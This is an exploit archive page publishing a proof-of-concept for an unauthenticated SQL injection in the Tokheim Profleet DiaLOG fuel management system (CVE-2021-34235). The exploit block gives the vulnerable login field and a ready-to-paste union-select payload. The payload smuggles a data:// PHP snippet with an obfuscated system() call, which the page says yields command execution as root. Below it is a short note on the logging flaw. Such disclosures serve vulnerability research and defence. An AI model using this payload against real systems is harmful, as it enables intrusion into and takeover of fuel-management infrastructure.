Tokheim Profleet DiaLOG Fuel Management System 11.005.02 SQL Injection / Code Execution

Authored by golem445 Posted Feb 10, 2022

Tokheim Profleet DiaLOG Fuel Management System version 11.005.02 suffers from a remote SQL injection vulnerability that can allow for remote code execution.

tags | exploit, remote, code execution, sql injection
advisories | CVE-2021-34235
SHA-256 | ed18bb53e4db3908729daf73248eb0b3e1a5afb7366e23fc21330ff2be514275 Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Title: Tokheim Profleet DiaLOG Fuel Management System 11.005.02 - SQLi (Unauthenticated)
# Date: 02/9/2022
# Exploit Author: golem445
# Vendor Homepage: https://www.tsg-solutions.com
# Tested on: Kali Linux
# CVE: CVE-2021-34235
# Description: Field__UserLogin parameter is vulnerable to crafted MySQL injection, resulting in remote code
execution as root.

==Steps to Reproduce==
# Go to : http://dialog_host/login.php
# Enter escaped MySQL query into the username field and submit, passwords doesn't matter. (Such as: '
/*!50000union*/ select 1,2,3,4,5,6,7,8,'data://text/plain,<?php $a="sy";$b="stem";$c=$a.$b; $c("uname -a");?>'
-- -)
# This can also be accomplished via intercepting the logon submission with Burp Proxy, then entering your MySQL
query into the Field_UserLogin parameter.

==Notes==
This vulnerability appears rooted in a logic flaw. Typical authentication logic flow is a user submitting their
credentials, authentication success/failure occurs, followed with results being noted in a log. This
application appears to work inversely, i.e. logon attempt is logged, then the users credentials are checked.
```

Login or Register to add favorites

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11secur1ty 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed